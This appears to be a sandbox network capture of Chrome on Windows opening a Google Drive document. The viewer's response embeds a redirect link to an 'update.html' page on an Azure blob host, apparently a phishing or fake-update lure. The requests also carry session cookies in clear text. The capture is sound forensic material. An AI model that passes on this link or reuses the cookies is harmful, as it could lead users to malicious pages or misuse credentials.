2024-11-14 19:43:01 UTC	1340	OUT	GET /viewer2/prod-00/presspage?ck=drive&ds=APznzaZz6eMBNkv136qDlo7lERY8MZH49StBJRz0JuauXbnwRN5xqurc6WnKPC_7_u-cjTsWq9ovr0Lggl8Xk5aKHGq9BouoX0EHPNRSIVDASENXRGTpj0TusFGPDD6YMB4spgJlDFw6LGobFDnP72N6k4Nlq8xxSCtsWkAbSKYphyKHeOTqL9dpTcBpho1c9gz-X-KZIWzSrjATJYI3EliH8EGAiJ9BNCK68g1PJxpL8Yoc8Lx87q2lFlX65rVLjfhSPGw_oj3XdbH91zHso9_0rwvpf1rLoSS2v2Cn-GpExKYnqGGNK4Lr713f_-Ntsns9Jh8vaRfW6W84kUTyFu3oJKO7ozcelJxM7bW8wMwR2TRcmr6fY2u2Pb80705LbBqmNrQiJMxPejWj8b80sfuq4_wvIcujqA%3D%3D&authuser=0&page=0 HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:01 UTC	2188	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 14 Nov 2024 19:43:01 GMT Content-Disposition: attachment; filename="json.txt"; filename=UTF-8''json.txt Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Report-To: {"group":"AppsViewerFrontendHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AppsViewerFrontendHttp"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version= Content-Security-Policy: script-src 'report-sample' 'nonce-RQF_UNzAvx9_k9FTgpB-gg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AppsViewerFrontendHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AppsViewerFrontendHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AppsViewerFrontendHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="AppsViewerFrontendHttp" reporting-endpoints: default="/_/AppsViewerFrontendHttp/web-reports?context=eJzj8tDikmLw15BicNu9k8kbiCW-vmTSAmKn9BmsIUDcevMc63QgTvp3nrUEiA0VLrE6A7FqzyVWcyAukrjC2gLEQjwcR5fe3MkmsOBC4wQmJfWk_ML4xIKCYt2yzNTy1CLdtKL8vJLUvJR4IwMjE0NDA3M9A8P4AkMAYD4vvQ" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:01 UTC	362	IN	Data Raw: 31 36 33 0d 0a 29 5d 7d 27 0a 5b 37 32 2c 39 36 30 2c 35 34 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 72 6c 3f 71 5c 75 30 30 33 64 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 64 69 72 65 63 74 6c 69 6e 65 2e 62 6c 6f 62 2e 63 6f 72 65 2e 77 69 6e 64 6f 77 73 2e 6e 65 74 2f 6d 61 69 6e 2f 75 70 64 61 74 65 2e 68 74 6d 6c 3f 34 37 69 35 68 32 5c 75 30 30 32 36 73 61 5c 75 30 30 33 64 44 5c 75 30 30 32 36 73 6f 75 72 63 65 5c 75 30 30 33 64 61 70 70 73 2d 76 69 65 77 65 72 2d 66 72 6f 6e 74 65 6e 64 5c 75 30 30 32 36 75 73 74 5c 75 30 30 33 64 31 37 33 31 36 39 39 37 38 31 35 36 39 36 31 36 5c 75 30 30 32 36 75 73 67 5c 75 30 30 33 64 41 4f 76 56 61 77 33 67 56 74 49 71 69 42 34 79 59 74 7a Data Ascii: 163)]}'[72,960,540,null,null,[["https://www.google.com/url?q\u003dhttps://opendirectline.blob.core.windows.net/main/update.html?47i5h2\u0026sa\u003dD\u0026source\u003dapps-viewer-frontend\u0026ust\u003d1731699781569616\u0026usg\u003dAOvVaw3gVtIqiB4yYtz
2024-11-14 19:43:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49787	142.250.186.142	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:01 UTC	674	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:01 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Thu, 14 Nov 2024 19:43:01 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:01 UTC	1108	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-14 19:43:01 UTC	447	IN	Data Raw: 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: -min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.googl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49788	172.217.18.14	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:02 UTC	1004	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:02 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 36 31 33 33 37 38 36 36 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731613378663",null,null,null,
2024-11-14 19:43:02 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 14 Nov 2024 19:43:02 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:02 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-14 19:43:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49793	142.250.186.46	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:02 UTC	1127	OUT	GET /viewer2/prod-00/presspage?ck=drive&ds=APznzaZz6eMBNkv136qDlo7lERY8MZH49StBJRz0JuauXbnwRN5xqurc6WnKPC_7_u-cjTsWq9ovr0Lggl8Xk5aKHGq9BouoX0EHPNRSIVDASENXRGTpj0TusFGPDD6YMB4spgJlDFw6LGobFDnP72N6k4Nlq8xxSCtsWkAbSKYphyKHeOTqL9dpTcBpho1c9gz-X-KZIWzSrjATJYI3EliH8EGAiJ9BNCK68g1PJxpL8Yoc8Lx87q2lFlX65rVLjfhSPGw_oj3XdbH91zHso9_0rwvpf1rLoSS2v2Cn-GpExKYnqGGNK4Lr713f_-Ntsns9Jh8vaRfW6W84kUTyFu3oJKO7ozcelJxM7bW8wMwR2TRcmr6fY2u2Pb80705LbBqmNrQiJMxPejWj8b80sfuq4_wvIcujqA%3D%3D&authuser=0&page=0 HTTP/1.1 Host: drive.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:03 UTC	2188	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 14 Nov 2024 19:43:02 GMT Content-Disposition: attachment; filename="json.txt"; filename=UTF-8''json.txt Strict-Transport-Security: max-age=31536000 Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="AppsViewerFrontendHttp" Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AppsViewerFrontendHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-s1RU3Tzkk-HdzRxWhA2RgA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AppsViewerFrontendHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AppsViewerFrontendHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version= Report-To: {"group":"AppsViewerFrontendHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AppsViewerFrontendHttp"}]} Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version reporting-endpoints: default="/_/AppsViewerFrontendHttp/web-reports?context=eJzj8tDikmLw15BicNu9k8kbiCW-vmTSAmKn9BmsIUDcevMc63QgTvp3nrUEiA0VLrE6A7FqzyVWcyAukrjC2gLEQjwcx5be3Mkm0PDzTTezknpSfmF8YkFBsW5ZZmp5apFuWlF-XklqXkq8kYGRiaGhgbmegWF8gSEAc54wLg" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:03 UTC	362	IN	Data Raw: 31 36 33 0d 0a 29 5d 7d 27 0a 5b 37 32 2c 39 36 30 2c 35 34 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 72 6c 3f 71 5c 75 30 30 33 64 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 64 69 72 65 63 74 6c 69 6e 65 2e 62 6c 6f 62 2e 63 6f 72 65 2e 77 69 6e 64 6f 77 73 2e 6e 65 74 2f 6d 61 69 6e 2f 75 70 64 61 74 65 2e 68 74 6d 6c 3f 34 37 69 35 68 32 5c 75 30 30 32 36 73 61 5c 75 30 30 33 64 44 5c 75 30 30 32 36 73 6f 75 72 63 65 5c 75 30 30 33 64 61 70 70 73 2d 76 69 65 77 65 72 2d 66 72 6f 6e 74 65 6e 64 5c 75 30 30 32 36 75 73 74 5c 75 30 30 33 64 31 37 33 31 36 39 39 37 38 32 38 32 39 32 32 39 5c 75 30 30 32 36 75 73 67 5c 75 30 30 33 64 41 4f 76 56 61 77 32 38 4e 42 4b 59 59 48 46 46 30 66 54 Data Ascii: 163)]}'[72,960,540,null,null,[["https://www.google.com/url?q\u003dhttps://opendirectline.blob.core.windows.net/main/update.html?47i5h2\u0026sa\u003dD\u0026source\u003dapps-viewer-frontend\u0026ust\u003d1731699782829229\u0026usg\u003dAOvVaw28NBKYYHFF0fT
2024-11-14 19:43:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49794	142.250.186.142	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:02 UTC	674	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:02 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Thu, 14 Nov 2024 19:43:02 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:02 UTC	1108	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-14 19:43:02 UTC	447	IN	Data Raw: 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: -min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.googl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49797	142.250.186.46	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:03 UTC	1156	OUT	GET /viewer2/prod-00/img?ck=drive&ds=APznzaZz6eMBNkv136qDlo7lERY8MZH49StBJRz0JuauXbnwRN5xqurc6WnKPC_7_u-cjTsWq9ovr0Lggl8Xk5aKHGq9BouoX0EHPNRSIVDASENXRGTpj0TusFGPDD6YMB4spgJlDFw6LGobFDnP72N6k4Nlq8xxSCtsWkAbSKYphyKHeOTqL9dpTcBpho1c9gz-X-KZIWzSrjATJYI3EliH8EGAiJ9BNCK68g1PJxpL8Yoc8Lx87q2lFlX65rVLjfhSPGw_oj3XdbH91zHso9_0rwvpf1rLoSS2v2Cn-GpExKYnqGGNK4Lr713f_-Ntsns9Jh8vaRfW6W84kUTyFu3oJKO7ozcelJxM7bW8wMwR2TRcmr6fY2u2Pb80705LbBqmNrQiJMxPejWj8b80sfuq4_wvIcujqA%3D%3D&authuser=0&page=0&skiphighlight=true&w=800&webp=true HTTP/1.1 Host: drive.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:03 UTC	2046	IN	HTTP/1.1 200 OK Content-Type: image/png Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 14 Nov 2024 19:43:03 GMT Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AppsViewerFrontendHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Ax35yo11XQ-CsIwbx1J-2w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AppsViewerFrontendHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AppsViewerFrontendHttp/cspreport/allowlist Report-To: {"group":"AppsViewerFrontendHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AppsViewerFrontendHttp"}]} Cross-Origin-Embedder-Policy-Report-Only: require-corp; 